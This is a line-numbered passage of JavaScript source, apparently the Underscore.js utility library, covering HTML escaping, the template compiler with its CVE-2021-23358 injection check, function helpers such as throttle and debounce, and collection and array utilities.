823 var now = Date.now || function() {
824 return new Date().getTime();
825 };
826
827 // Internal helper to generate functions for escaping and unescaping strings
828 // to/from HTML interpolation.
829 function createEscaper(map) {
830 var escaper = function(match) {
831 return map[match];
832 };
833 // Regexes for identifying a key that needs to be escaped.
834 var source = '(?:' + keys(map).join('|') + ')';
835 var testRegexp = RegExp(source);
836 var replaceRegexp = RegExp(source, 'g');
837 return function(string) {
838 string = string == null ? '' : '' + string;
839 return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
840 };
841 }
842
843 // Internal list of HTML entities for escaping.
844 var escapeMap = {
845 '&': '&amp;',
846 '<': '&lt;',
847 '>': '&gt;',
848 '"': '&quot;',
849 "'": '&#x27;',
850 '`': '&#x60;'
851 };
852
853 // Function for escaping strings to HTML interpolation.
854 var _escape = createEscaper(escapeMap);
855
856 // Internal list of HTML entities for unescaping.
857 var unescapeMap = invert(escapeMap);
858
859 // Function for unescaping strings from HTML interpolation.
860 var _unescape = createEscaper(unescapeMap);
861
862 // By default, Underscore uses ERB-style template delimiters. Change the
863 // following template settings to use alternative delimiters.
864 var templateSettings = _$1.templateSettings = {
865 evaluate: /<%([\s\S]+?)%>/g,
866 interpolate: /<%=([\s\S]+?)%>/g,
867 escape: /<%-([\s\S]+?)%>/g
868 };
869
870 // When customizing `_.templateSettings`, if you don't want to define an
871 // interpolation, evaluation or escaping regex, we need one that is
872 // guaranteed not to match.
873 var noMatch = /(.)^/;
874
875 // Certain characters need to be escaped so that they can be put into a
876 // string literal.
877 var escapes = {
878 "'": "'",
879 '\\': '\\',
880 '\r': 'r',
881 '\n': 'n',
882 '\u2028': 'u2028',
883 '\u2029': 'u2029'
884 };
885
886 var escapeRegExp = /\\|'|\r|\n|\u2028|\u2029/g;
887
888 function escapeChar(match) {
889 return '\\' + escapes[match];
890 }
891
892 // In order to prevent third-party code injection through
893 // `_.templateSettings.variable`, we test it against the following regular
894 // expression. It is intentionally a bit more liberal than just matching valid
895 // identifiers, but still prevents possible loopholes through defaults or
896 // destructuring assignment.
897 var bareIdentifier = /^\s*(\w|\$)+\s*$/;
898
899 // JavaScript micro-templating, similar to John Resig's implementation.
900 // Underscore templating handles arbitrary delimiters, preserves whitespace,
901 // and correctly escapes quotes within interpolated code.
902 // NB: `oldSettings` only exists for backwards compatibility.
903 function template(text, settings, oldSettings) {
904 if (!settings && oldSettings) settings = oldSettings;
905 settings = defaults({}, settings, _$1.templateSettings);
906
907 // Combine delimiters into one regular expression via alternation.
908 var matcher = RegExp([
909 (settings.escape || noMatch).source,
910 (settings.interpolate || noMatch).source,
911 (settings.evaluate || noMatch).source
912 ].join('|') + '|$', 'g');
913
914 // Compile the template source, escaping string literals appropriately.
915 var index = 0;
916 var source = "__p+='";
917 text.replace(matcher, function(match, escape, interpolate, evaluate, offset) {
918 source += text.slice(index, offset).replace(escapeRegExp, escapeChar);
919 index = offset + match.length;
920
921 if (escape) {
922 source += "'+\n((__t=(" + escape + "))==null?'':_.escape(__t))+\n'";
923 } else if (interpolate) {
924 source += "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'";
925 } else if (evaluate) {
926 source += "';\n" + evaluate + "\n__p+='";
927 }
928
929 // Adobe VMs need the match returned to produce the correct offset.
930 return match;
931 });
932 source += "';\n";
933
934 var argument = settings.variable;
935 if (argument) {
936 // Insure against third-party code injection. (CVE-2021-23358)
937 if (!bareIdentifier.test(argument)) throw new Error(
938 'variable is not a bare identifier: ' + argument
939 );
940 } else {
941 // If a variable is not specified, place data values in local scope.
942 source = 'with(obj||{}){\n' + source + '}\n';
943 argument = 'obj';
944 }
945
946 source = "var __t,__p='',__j=Array.prototype.join," +
947 "print=function(){__p+=__j.call(arguments,'');};\n" +
948 source + 'return __p;\n';
949
950 var render;
951 try {
952 render = new Function(argument, '_', source);
953 } catch (e) {
954 e.source = source;
955 throw e;
956 }
957
958 var template = function(data) {
959 return render.call(this, data, _$1);
960 };
961
962 // Provide the compiled source as a convenience for precompilation.
963 template.source = 'function(' + argument + '){\n' + source + '}';
964
965 return template;
966 }
967
968 // Traverses the children of `obj` along `path`. If a child is a function, it
969 // is invoked with its parent as context. Returns the value of the final
970 // child, or `fallback` if any child is undefined.
971 function result(obj, path, fallback) {
972 path = toPath(path);
973 var length = path.length;
974 if (!length) {
975 return isFunction$1(fallback) ? fallback.call(obj) : fallback;
976 }
977 for (var i = 0; i < length; i++) {
978 var prop = obj == null ? void 0 : obj[path[i]];
979 if (prop === void 0) {
980 prop = fallback;
981 i = length; // Ensure we don't continue iterating.
982 }
983 obj = isFunction$1(prop) ? prop.call(obj) : prop;
984 }
985 return obj;
986 }
987
988 // Generate a unique integer id (unique within the entire client session).
989 // Useful for temporary DOM ids.
990 var idCounter = 0;
991 function uniqueId(prefix) {
992 var id = ++idCounter + '';
993 return prefix ? prefix + id : id;
994 }
995
996 // Start chaining a wrapped Underscore object.
997 function chain(obj) {
998 var instance = _$1(obj);
999 instance._chain = true;
1000 return instance;
1001 }
1002
1003 // Internal function to execute `sourceFunc` bound to `context` with optional
1004 // `args`. Determines whether to execute a function as a constructor or as a
1005 // normal function.
1006 function executeBound(sourceFunc, boundFunc, context, callingContext, args) {
1007 if (!(callingContext instanceof boundFunc)) return sourceFunc.apply(context, args);
1008 var self = baseCreate(sourceFunc.prototype);
1009 var result = sourceFunc.apply(self, args);
1010 if (isObject(result)) return result;
1011 return self;
1012 }
1013
1014 // Partially apply a function by creating a version that has had some of its
1015 // arguments pre-filled, without changing its dynamic `this` context. `_` acts
1016 // as a placeholder by default, allowing any combination of arguments to be
1017 // pre-filled. Set `_.partial.placeholder` for a custom placeholder argument.
1018 var partial = restArguments(function(func, boundArgs) {
1019 var placeholder = partial.placeholder;
1020 var bound = function() {
1021 var position = 0, length = boundArgs.length;
1022 var args = Array(length);
1023 for (var i = 0; i < length; i++) {
1024 args[i] = boundArgs[i] === placeholder ? arguments[position++] : boundArgs[i];
1025 }
1026 while (position < arguments.length) args.push(arguments[position++]);
1027 return executeBound(func, bound, this, this, args);
1028 };
1029 return bound;
1030 });
1031
1032 partial.placeholder = _$1;
1033
1034 // Create a function bound to a given object (assigning `this`, and arguments,
1035 // optionally).
1036 var bind = restArguments(function(func, context, args) {
1037 if (!isFunction$1(func)) throw new TypeError('Bind must be called on a function');
1038 var bound = restArguments(function(callArgs) {
1039 return executeBound(func, bound, context, this, args.concat(callArgs));
1040 });
1041 return bound;
1042 });
1043
1044 // Internal helper for collection methods to determine whether a collection
1045 // should be iterated as an array or as an object.
1046 // Related: https://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength
1047 // Avoids a very nasty iOS 8 JIT bug on ARM-64. #2094
1048 var isArrayLike = createSizePropertyCheck(getLength);
1049
1050 // Internal implementation of a recursive `flatten` function.
1051 function flatten$1(input, depth, strict) {
1052 if (!depth && depth !== 0) depth = Infinity;
1053 var output = [], idx = 0, i = 0, length = getLength(input) || 0, stack = [];
1054 while (true) {
1055 if (i >= length) {
1056 if (!stack.length) break;
1057 var frame = stack.pop();
1058 i = frame.i;
1059 input = frame.v;
1060 length = getLength(input);
1061 continue;
1062 }
1063 var value = input[i++];
1064 if (stack.length >= depth) {
1065 output[idx++] = value;
1066 } else if (isArrayLike(value) && (isArray(value) || isArguments$1(value))) {
1067 // Flatten current level of array or arguments object.
1068 stack.push({i: i, v: input});
1069 i = 0;
1070 input = value;
1071 length = getLength(input);
1072 } else if (!strict) {
1073 output[idx++] = value;
1074 }
1075 }
1076 return output;
1077 }
1078
1079 // Bind a number of an object's methods to that object. Remaining arguments
1080 // are the method names to be bound. Useful for ensuring that all callbacks
1081 // defined on an object belong to it.
1082 var bindAll = restArguments(function(obj, keys) {
1083 keys = flatten$1(keys, false, false);
1084 var index = keys.length;
1085 if (index < 1) throw new Error('bindAll must be passed function names');
1086 while (index--) {
1087 var key = keys[index];
1088 obj[key] = bind(obj[key], obj);
1089 }
1090 return obj;
1091 });
1092
1093 // Memoize an expensive function by storing its results.
1094 function memoize(func, hasher) {
1095 var memoize = function(key) {
1096 var cache = memoize.cache;
1097 var address = '' + (hasher ? hasher.apply(this, arguments) : key);
1098 if (!has$1(cache, address)) cache[address] = func.apply(this, arguments);
1099 return cache[address];
1100 };
1101 memoize.cache = {};
1102 return memoize;
1103 }
1104
1105 // Delays a function for the given number of milliseconds, and then calls
1106 // it with the arguments supplied.
1107 var delay = restArguments(function(func, wait, args) {
1108 return setTimeout(function() {
1109 return func.apply(null, args);
1110 }, wait);
1111 });
1112
1113 // Defers a function, scheduling it to run after the current call stack has
1114 // cleared.
1115 var defer = partial(delay, _$1, 1);
1116
1117 // Returns a function, that, when invoked, will only be triggered at most once
1118 // during a given window of time. Normally, the throttled function will run
1119 // as much as it can, without ever going more than once per `wait` duration;
1120 // but if you'd like to disable the execution on the leading edge, pass
1121 // `{leading: false}`. To disable execution on the trailing edge, ditto.
1122 function throttle(func, wait, options) {
1123 var timeout, context, args, result;
1124 var previous = 0;
1125 if (!options) options = {};
1126
1127 var later = function() {
1128 previous = options.leading === false ? 0 : now();
1129 timeout = null;
1130 result = func.apply(context, args);
1131 if (!timeout) context = args = null;
1132 };
1133
1134 var throttled = function() {
1135 var _now = now();
1136 if (!previous && options.leading === false) previous = _now;
1137 var remaining = wait - (_now - previous);
1138 context = this;
1139 args = arguments;
1140 if (remaining <= 0 || remaining > wait) {
1141 if (timeout) {
1142 clearTimeout(timeout);
1143 timeout = null;
1144 }
1145 previous = _now;
1146 result = func.apply(context, args);
1147 if (!timeout) context = args = null;
1148 } else if (!timeout && options.trailing !== false) {
1149 timeout = setTimeout(later, remaining);
1150 }
1151 return result;
1152 };
1153
1154 throttled.cancel = function() {
1155 clearTimeout(timeout);
1156 previous = 0;
1157 timeout = context = args = null;
1158 };
1159
1160 return throttled;
1161 }
1162
1163 // When a sequence of calls of the returned function ends, the argument
1164 // function is triggered. The end of a sequence is defined by the `wait`
1165 // parameter. If `immediate` is passed, the argument function will be
1166 // triggered at the beginning of the sequence instead of at the end.
1167 function debounce(func, wait, immediate) {
1168 var timeout, previous, args, result, context;
1169
1170 var later = function() {
1171 var passed = now() - previous;
1172 if (wait > passed) {
1173 timeout = setTimeout(later, wait - passed);
1174 } else {
1175 timeout = null;
1176 if (!immediate) result = func.apply(context, args);
1177 // This check is needed because `func` can recursively invoke `debounced`.
1178 if (!timeout) args = context = null;
1179 }
1180 };
1181
1182 var debounced = restArguments(function(_args) {
1183 context = this;
1184 args = _args;
1185 previous = now();
1186 if (!timeout) {
1187 timeout = setTimeout(later, wait);
1188 if (immediate) result = func.apply(context, args);
1189 }
1190 return result;
1191 });
1192
1193 debounced.cancel = function() {
1194 clearTimeout(timeout);
1195 timeout = args = context = null;
1196 };
1197
1198 return debounced;
1199 }
1200
1201 // Returns the first function passed as an argument to the second,
1202 // allowing you to adjust arguments, run code before and after, and
1203 // conditionally execute the original function.
1204 function wrap(func, wrapper) {
1205 return partial(wrapper, func);
1206 }
1207
1208 // Returns a negated version of the passed-in predicate.
1209 function negate(predicate) {
1210 return function() {
1211 return !predicate.apply(this, arguments);
1212 };
1213 }
1214
1215 // Returns a function that is the composition of a list of functions, each
1216 // consuming the return value of the function that follows.
1217 function compose() {
1218 var args = arguments;
1219 var start = args.length - 1;
1220 return function() {
1221 var i = start;
1222 var result = args[start].apply(this, arguments);
1223 while (i--) result = args[i].call(this, result);
1224 return result;
1225 };
1226 }
1227
1228 // Returns a function that will only be executed on and after the Nth call.
1229 function after(times, func) {
1230 return function() {
1231 if (--times < 1) {
1232 return func.apply(this, arguments);
1233 }
1234 };
1235 }
1236
1237 // Returns a function that will only be executed up to (but not including) the
1238 // Nth call.
1239 function before(times, func) {
1240 var memo;
1241 return function() {
1242 if (--times > 0) {
1243 memo = func.apply(this, arguments);
1244 }
1245 if (times <= 1) func = null;
1246 return memo;
1247 };
1248 }
1249
1250 // Returns a function that will be executed at most one time, no matter how
1251 // often you call it. Useful for lazy initialization.
1252 var once = partial(before, 2);
1253
1254 // Returns the first key on an object that passes a truth test.
1255 function findKey(obj, predicate, context) {
1256 predicate = cb(predicate, context);
1257 var _keys = keys(obj), key;
1258 for (var i = 0, length = _keys.length; i < length; i++) {
1259 key = _keys[i];
1260 if (predicate(obj[key], key, obj)) return key;
1261 }
1262 }
1263
1264 // Internal function to generate `_.findIndex` and `_.findLastIndex`.
1265 function createPredicateIndexFinder(dir) {
1266 return function(array, predicate, context) {
1267 predicate = cb(predicate, context);
1268 var length = getLength(array);
1269 var index = dir > 0 ? 0 : length - 1;
1270 for (; index >= 0 && index < length; index += dir) {
1271 if (predicate(array[index], index, array)) return index;
1272 }
1273 return -1;
1274 };
1275 }
1276
1277 // Returns the first index on an array-like that passes a truth test.
1278 var findIndex = createPredicateIndexFinder(1);
1279
1280 // Returns the last index on an array-like that passes a truth test.
1281 var findLastIndex = createPredicateIndexFinder(-1);
1282
1283 // Use a comparator function to figure out the smallest index at which
1284 // an object should be inserted so as to maintain order. Uses binary search.
1285 function sortedIndex(array, obj, iteratee, context) {
1286 iteratee = cb(iteratee, context, 1);
1287 var value = iteratee(obj);
1288 var low = 0, high = getLength(array);
1289 while (low < high) {
1290 var mid = Math.floor((low + high) / 2);
1291 if (iteratee(array[mid]) < value) low = mid + 1; else high = mid;
1292 }
1293 return low;
1294 }
1295
1296 // Internal function to generate the `_.indexOf` and `_.lastIndexOf` functions.
1297 function createIndexFinder(dir, predicateFind, sortedIndex) {
1298 return function(array, item, idx) {
1299 var i = 0, length = getLength(array);
1300 if (typeof idx == 'number') {
1301 if (dir > 0) {
1302 i = idx >= 0 ? idx : Math.max(idx + length, i);
1303 } else {
1304 length = idx >= 0 ? Math.min(idx + 1, length) : idx + length + 1;
1305 }
1306 } else if (sortedIndex && idx && length) {
1307 idx = sortedIndex(array, item);
1308 return array[idx] === item ? idx : -1;
1309 }
1310 if (item !== item) {
1311 idx = predicateFind(slice.call(array, i, length), isNaN$1);
1312 return idx >= 0 ? idx + i : -1;
1313 }
1314 for (idx = dir > 0 ? i : length - 1; idx >= 0 && idx < length; idx += dir) {
1315 if (array[idx] === item) return idx;
1316 }
1317 return -1;
1318 };
1319 }
1320
1321 // Return the position of the first occurrence of an item in an array,
1322 // or -1 if the item is not included in the array.
1323 // If the array is large and already in sort order, pass `true`
1324 // for **isSorted** to use binary search.
1325 var indexOf = createIndexFinder(1, findIndex, sortedIndex);
1326
1327 // Return the position of the last occurrence of an item in an array,
1328 // or -1 if the item is not included in the array.
1329 var lastIndexOf = createIndexFinder(-1, findLastIndex);
1330
1331 // Return the first value which passes a truth test.
1332 function find(obj, predicate, context) {
1333 var keyFinder = isArrayLike(obj) ? findIndex : findKey;
1334 var key = keyFinder(obj, predicate, context);
1335 if (key !== void 0 && key !== -1) return obj[key];
1336 }
1337
1338 // Convenience version of a common use case of `_.find`: getting the first
1339 // object containing specific `key:value` pairs.
1340 function findWhere(obj, attrs) {
1341 return find(obj, matcher(attrs));
1342 }
1343
1344 // The cornerstone for collection functions, an `each`
1345 // implementation, aka `forEach`.
1346 // Handles raw objects in addition to array-likes. Treats all
1347 // sparse array-likes as if they were dense.
1348 function each(obj, iteratee, context) {
1349 iteratee = optimizeCb(iteratee, context);
1350 var i, length;
1351 if (isArrayLike(obj)) {
1352 for (i = 0, length = obj.length; i < length; i++) {
1353 iteratee(obj[i], i, obj);
1354 }
1355 } else {
1356 var _keys = keys(obj);
1357 for (i = 0, length = _keys.length; i < length; i++) {
1358 iteratee(obj[_keys[i]], _keys[i], obj);
1359 }
1360 }
1361 return obj;
1362 }
1363
1364 // Return the results of applying the iteratee to each element.
1365 function map(obj, iteratee, context) {
1366 iteratee = cb(iteratee, context);
1367 var _keys = !isArrayLike(obj) && keys(obj),
1368 length = (_keys || obj).length,
1369 results = Array(length);
1370 for (var index = 0; index < length; index++) {
1371 var currentKey = _keys ? _keys[index] : index;
1372 results[index] = iteratee(obj[currentKey], currentKey, obj);
1373 }
1374 return results;
1375 }
1376
1377 // Internal helper to create a reducing function, iterating left or right.
1378 function createReduce(dir) {
1379 // Wrap code that reassigns argument variables in a separate function than
1380 // the one that accesses `arguments.length` to avoid a perf hit. (#1991)
1381 var reducer = function(obj, iteratee, memo, initial) {
1382 var _keys = !isArrayLike(obj) && keys(obj),
1383 length = (_keys || obj).length,
1384 index = dir > 0 ? 0 : length - 1;
1385 if (!initial) {
1386 memo = obj[_keys ? _keys[index] : index];
1387 index += dir;
1388 }
1389 for (; index >= 0 && index < length; index += dir) {
1390 var currentKey = _keys ? _keys[index] : index;
1391 memo = iteratee(memo, obj[currentKey], currentKey, obj);
1392 }
1393 return memo;
1394 };
1395
1396 return function(obj, iteratee, memo, context) {
1397 var initial = arguments.length >= 3;
1398 return reducer(obj, optimizeCb(iteratee, context, 4), memo, initial);
1399 };
1400 }
1401
1402 // **Reduce** builds up a single result from a list of values, aka `inject`,
1403 // or `foldl`.
1404 var reduce = createReduce(1);
1405
1406 // The right-associative version of reduce, also known as `foldr`.
1407 var reduceRight = createReduce(-1);
1408
1409 // Return all the elements that pass a truth test.
1410 function filter(obj, predicate, context) {
1411 var results = [];
1412 predicate = cb(predicate, context);
1413 each(obj, function(value, index, list) {
1414 if (predicate(value, index, list)) results.push(value);
1415 });
1416 return results;
1417 }
1418
1419 // Return all the elements for which a truth test fails.
1420 function reject(obj, predicate, context) {
1421 return filter(obj, negate(cb(predicate)), context);
1422 }
1423
1424 // Determine whether all of the elements pass a truth test.
1425 function every(obj, predicate, context) {
1426 predicate = cb(predicate, context);
1427 var _keys = !isArrayLike(obj) && keys(obj),
1428 length = (_keys || obj).length;
1429 for (var index = 0; index < length; index++) {
1430 var currentKey = _keys ? _keys[index] : index;
1431 if (!predicate(obj[currentKey], currentKey, obj)) return false;
1432 }
1433 return true;
1434 }
1435
1436 // Determine if at least one element in the object passes a truth test.
1437 function some(obj, predicate, context) {
1438 predicate = cb(predicate, context);
1439 var _keys = !isArrayLike(obj) && keys(obj),
1440 length = (_keys || obj).length;
1441 for (var index = 0; index < length; index++) {
1442 var currentKey = _keys ? _keys[index] : index;
1443 if (predicate(obj[currentKey], currentKey, obj)) return true;
1444 }
1445 return false;
1446 }
1447
1448 // Determine if the array or object contains a given item (using `===`).
1449 function contains(obj, item, fromIndex, guard) {
1450 if (!isArrayLike(obj)) obj = values(obj);
1451 if (typeof fromIndex != 'number' || guard) fromIndex = 0;
1452 return indexOf(obj, item, fromIndex) >= 0;
1453 }
1454
1455 // Invoke a method (with arguments) on every item in a collection.
1456 var invoke = restArguments(function(obj, path, args) {
1457 var contextPath, func;
1458 if (isFunction$1(path)) {
1459 func = path;
1460 } else {
1461 path = toPath(path);
1462 contextPath = path.slice(0, -1);
1463 path = path[path.length - 1];
1464 }
1465 return map(obj, function(context) {
1466 var method = func;
1467 if (!method) {
1468 if (contextPath && contextPath.length) {
1469 context = deepGet(context, contextPath);
1470 }
1471 if (context == null) return void 0;
1472 method = context[path];
1473 }
1474 return method == null ? method : method.apply(context, args);
1475 });
1476 });
1477
1478 // Convenience version of a common use case of `_.map`: fetching a property.
1479 function pluck(obj, key) {
1480 return map(obj, property(key));
1481 }
1482
1483 // Convenience version of a common use case of `_.filter`: selecting only
1484 // objects containing specific `key:value` pairs.
1485 function where(obj, attrs) {
1486 return filter(obj, matcher(attrs));
1487 }
1488
1489 // Return the maximum element (or element-based computation).
1490 function max(obj, iteratee, context) {
1491 var result = -Infinity, lastComputed = -Infinity,
1492 value, computed;
1493 if (iteratee == null || (typeof iteratee == 'number' && typeof obj[0] != 'object' && obj != null)) {
1494 obj = isArrayLike(obj) ? obj : values(obj);
1495 for (var i = 0, length = obj.length; i < length; i++) {
1496 value = obj[i];
1497 if (value != null && value > result) {
1498 result = value;
1499 }
1500 }
1501 } else {
1502 iteratee = cb(iteratee, context);
1503 each(obj, function(v, index, list) {
1504 computed = iteratee(v, index, list);
1505 if (computed > lastComputed || (computed === -Infinity && result === -Infinity)) {
1506 result = v;
1507 lastComputed = computed;
1508 }
1509 });
1510 }
1511 return result;
1512 }
1513
1514 // Return the minimum element (or element-based computation).
1515 function min(obj, iteratee, context) {
1516 var result = Infinity, lastComputed = Infinity,
1517 value, computed;
1518 if (iteratee == null || (typeof iteratee == 'number' && typeof obj[0] != 'object' && obj != null)) {
1519 obj = isArrayLike(obj) ? obj : values(obj);
1520 for (var i = 0, length = obj.length; i < length; i++) {
1521 value = obj[i];
1522 if (value != null && value < result) {
1523 result = value;
1524 }
1525 }
1526 } else {
1527 iteratee = cb(iteratee, context);
1528 each(obj, function(v, index, list) {
1529 computed = iteratee(v, index, list);
1530 if (computed < lastComputed || (computed === Infinity && result === Infinity)) {
1531 result = v;
1532 lastComputed = computed;
1533 }
1534 });
1535 }
1536 return result;
1537 }
1538
1539 // Safely create a real, live array from anything iterable.
1540 var reStrSymbol = /[^\ud800-\udfff]|[\ud800-\udbff][\udc00-\udfff]|[\ud800-\udfff]/g;
1541 function toArray(obj) {
1542 if (!obj) return [];
1543 if (isArray(obj)) return slice.call(obj);
1544 if (isString(obj)) {
1545 // Keep surrogate pair characters together.
1546 return obj.match(reStrSymbol);
1547 }
1548 if (isArrayLike(obj)) return map(obj, identity);
1549 return values(obj);
1550 }
1551
1552 // Sample **n** random values from a collection using the modern version of the
1553 // [Fisher-Yates shuffle](https://en.wikipedia.org/wiki/Fisher–Yates_shuffle).
1554 // If **n** is not specified, returns a single random element.
1555 // The internal `guard` argument allows it to work with `_.map`.
1556 function sample(obj, n, guard) {
1557 if (n == null || guard) {
1558 if (!isArrayLike(obj)) obj = values(obj);
1559 return obj[random(obj.length - 1)];
1560 }
1561 var sample = toArray(obj);
1562 var length = getLength(sample);
1563 n = Math.max(Math.min(n, length), 0);
1564 var last = length - 1;
1565 for (var index = 0; index < n; index++) {
1566 var rand = random(index, last);
1567 var temp = sample[index];
1568 sample[index] = sample[rand];
1569 sample[rand] = temp;
1570 }
1571 return sample.slice(0, n);
1572 }
1573
1574 // Shuffle a collection.
1575 function shuffle(obj) {
1576 return sample(obj, Infinity);
1577 }
1578
1579 // Sort the object's values by a criterion produced by an iteratee.
1580 function sortBy(obj, iteratee, context) {
1581 var index = 0;
1582 iteratee = cb(iteratee, context);
1583 return pluck(map(obj, function(value, key, list) {
1584 return {
1585 value: value,
1586 index: index++,
1587 criteria: iteratee(value, key, list)
1588 };
1589 }).sort(function(left, right) {
1590 var a = left.criteria;
1591 var b = right.criteria;
1592 if (a !== b) {
1593 if (a > b || a === void 0) return 1;
1594 if (a < b || b === void 0) return -1;
1595 }
1596 return left.index - right.index;
1597 }), 'value');
1598 }
1599
1600 // An internal function used for aggregate "group by" operations.
1601 function group(behavior, partition) {
1602 return function(obj, iteratee, context) {
1603 var result = partition ? [[], []] : {};
1604 iteratee = cb(iteratee, context);
1605 each(obj, function(value, index) {
1606 var key = iteratee(value, index, obj);
1607 behavior(result, value, key);
1608 });
1609 return result;
1610 };
1611 }
1612
1613 // Groups the object's values by a criterion. Pass either a string attribute
1614 // to group by, or a function that returns the criterion.
1615 var groupBy = group(function(result, value, key) {
1616 if (has$1(result, key)) result[key].push(value); else result[key] = [value];
1617 });
1618
1619 // Indexes the object's values by a criterion, similar to `_.groupBy`, but for
1620 // when you know that your index values will be unique.
1621 var indexBy = group(function(result, value, key) {
1622 result[key] = value;
1623 });
1624
1625 // Counts instances of an object that group by a certain criterion. Pass
1626 // either a string attribute to count by, or a function that returns the
1627 // criterion.
1628 var countBy = group(function(result, value, key) {
1629 if (has$1(result, key)) result[key]++; else result[key] = 1;
1630 });
1631
1632 // Split a collection into two arrays: one whose elements all pass the given
1633 // truth test, and one whose elements all do not pass the truth test.
1634 var partition = group(function(result, value, pass) {
1635 result[pass ? 0 : 1].push(value);
1636 }, true);
1637
1638 // Return the number of elements in a collection.
1639 function size(obj) {
1640 if (obj == null) return 0;
1641 return isArrayLike(obj) ? obj.length : keys(obj).length;
1642 }
1643
1644 // Internal `_.pick` helper function to determine whether `key` is an enumerable
1645 // property name of `obj`.
1646 function keyInObj(value, key, obj) {
1647 return key in obj;
1648 }
1649
1650 // Return a copy of the object only containing the allowed properties.
1651 var pick = restArguments(function(obj, keys) {
1652 var result = {}, iteratee = keys[0];
1653 if (obj == null) return result;
1654 if (isFunction$1(iteratee)) {
1655 if (keys.length > 1) iteratee = optimizeCb(iteratee, keys[1]);
1656 keys = allKeys(obj);
1657 } else {
1658 iteratee = keyInObj;
1659 keys = flatten$1(keys, false, false);
1660 obj = Object(obj);
1661 }
1662 for (var i = 0, length = keys.length; i < length; i++) {
1663 var key = keys[i];
1664 var value = obj[key];
1665 if (iteratee(value, key, obj)) result[key] = value;
1666 }
1667 return result;
1668 });
1669
1670 // Return a copy of the object without the disallowed properties.
1671 var omit = restArguments(function(obj, keys) {
1672 var iteratee = keys[0], context;
1673 if (isFunction$1(iteratee)) {
1674 iteratee = negate(iteratee);
1675 if (keys.length > 1) context = keys[1];
1676 } else {
1677 keys = map(flatten$1(keys, false, false), String);
1678 iteratee = function(value, key) {
1679 return !contains(keys, key);
1680 };
1681 }
1682 return pick(obj, iteratee, context);
1683 });
1684
1685 // Returns everything but the last entry of the array. Especially useful on
1686 // the arguments object. Passing **n** will return all the values in
1687 // the array, excluding the last N.
1688 function initial(array, n, guard) {
1689 return slice.call(array, 0, Math.max(0, array.length - (n == null || guard ? 1 : n)));
1690 }
1691
1692 // Get the first element of an array. Passing **n** will return the first N
1693 // values in the array. The **guard** check allows it to work with `_.map`.
1694 function first(array, n, guard) {
1695 if (array == null || array.length < 1) return n == null || guard ? void 0 : [];
1696 if (n == null || guard) return array[0];
1697 return initial(array, array.length - n);
1698 }
1699
1700 // Returns everything but the first entry of the `array`. Especially useful on
1701 // the `arguments` object. Passing an **n** will return the rest N values in the
1702 // `array`.
1703 function rest(array, n, guard) {
1704 return slice.call(array, n == null || guard ? 1 : n);
1705 }
1706
1707 // Get the last element of an array. Passing **n** will return the last N
1708 // values in the array.
1709 function last(array, n, guard) {
1710 if (array == null || array.length < 1) return n == null || guard ? void 0 : [];
1711 if (n == null || guard) return array[array.length - 1];
1712 return rest(array, Math.max(0, array.length - n));
1713 }
1714
1715 // Trim out all falsy values from an array.
1716 function compact(array) {
1717 return filter(array, Boolean);
1718 }
1719
1720 // Flatten out an array, either recursively (by default), or up to `depth`.
1721 // Passing `true` or `false` as `depth` means `1` or `Infinity`, respectively.
1722 function flatten(array, depth) {
1723 return flatten$1(array, depth, false);
1724 }
1725
1726 // Take the difference between one array and a number of other arrays.
1727 // Only the elements present in just the first array will remain.
1728 var difference = restArguments(function(array, rest) {
1729 rest = flatten$1(rest, true, true);
1730 return filter(array, function(value){
1731 return !contains(rest, value);
1732 });
1733 });
1734
1735 // Return a version of the array that does not contain the specified value(s).
1736 var without = restArguments(function(array, otherArrays) {
1737 return difference(array, otherArrays);
1738 });
1739
1740 // Produce a duplicate-free version of the array. If the array has already
1741 // been sorted, you have the option of using a faster algorithm.
1742 // The faster algorithm will not work with an iteratee if the iteratee
1743 // is not a one-to-one function, so providing an iteratee will disable
1744 // the faster algorithm.
1745 function uniq(array, isSorted, iteratee, context) {
1746 if (!isBoolean(isSorted)) {
1747 context = iteratee;
1748 iteratee = isSorted;
1749 isSorted = false;
1750 }
1751 if (iteratee != null) iteratee = cb(iteratee, context);
1752 var result = [];
1753 var seen = [];
1754 for (var i = 0, length = getLength(array); i < length; i++) {
1755 var value = array[i],
1756 computed = iteratee ? iteratee(value, i, array) : value;
1757 if (isSorted && !iteratee) {
1758 if (!i || seen !== computed) result.push(value);
1759 seen = computed;
1760 } else if (iteratee) {
1761 if (!contains(seen, computed)) {
1762 seen.push(computed);
1763 result.push(value);
1764 }
1765 } else if (!contains(result, value)) {
1766 result.push(value);
1767 }
1768 }
1769 return result;
1770 }
1771
1772 // Produce an array that contains the union: each distinct element from all of
1773 // the passed-in arrays.
1774 var union = restArguments(function(arrays) {
1775 return uniq(flatten$1(arrays, true, true));
1776 });
1777
1778 // Produce an array that contains every item shared between all the
1779 // passed-in arrays.
1780 function intersection(array) {
1781 var result = [];
1782 var argsLength = arguments.length;
1783 for (var i = 0, length = getLength(array); i < length; i++) {
1784 var item = array[i];
1785 if (contains(result, item)) continue;
1786 var j;
1787 for (j = 1; j < argsLength; j++) {
1788 if (!contains(arguments[j], item)) break;
1789 }
1790 if (j === argsLength) result.push(item);
1791 }
1792 return result;
1793 }
1794
1795 // Complement of zip. Unzip accepts an array of arrays and groups
1796 // each array's elements on shared indices.
1797 function unzip(array) {
1798 var length = (array && max(array, getLength).length) || 0;
1799 var result = Array(length);
1800
1801 for (var index = 0; index < length; index++) {
1802 result[index] = pluck(array, index);
1803 }
1804 return result;
1805 }
1806
1807 // Zip together multiple lists into a single array -- elements that share
1808 // an index go together.
1809 var zip = restArguments(unzip);
1810
1811 // Converts lists into objects. Pass either a single array of `[key, value]`
1812 // pairs, or two parallel arrays of the same length -- one of keys, and one of
1813 // the corresponding values. Passing by pairs is the reverse of `_.pairs`.
1814 function object(list, values) {
1815 var result = {};
1816 for (var i = 0, length = getLength(list); i < length; i++) {
1817 if (values) {
1818 result[list[i]] = values[i];
1819 } else {
1820 result[list[i][0]] = list[i][1];
1821 }
1822 }
1823 return result;
1824 }
1825
1826 // Generate an integer Array containing an arithmetic progression. A port of
1827 // the native Python `range()` function. See
1828 // [the Python documentation](https://docs.python.org/library/functions.html#range).
1829 function range(start, stop, step) {
1830 if (stop == null) {
1831 stop = start || 0;
1832 start = 0;
1833 }
1834 if (!step) {
1835 step = stop < start ? -1 : 1;
1836 }
1837
1838 var length = Math.max(Math.ceil((stop - start) / step), 0);
1839 var range = Array(length);
1840
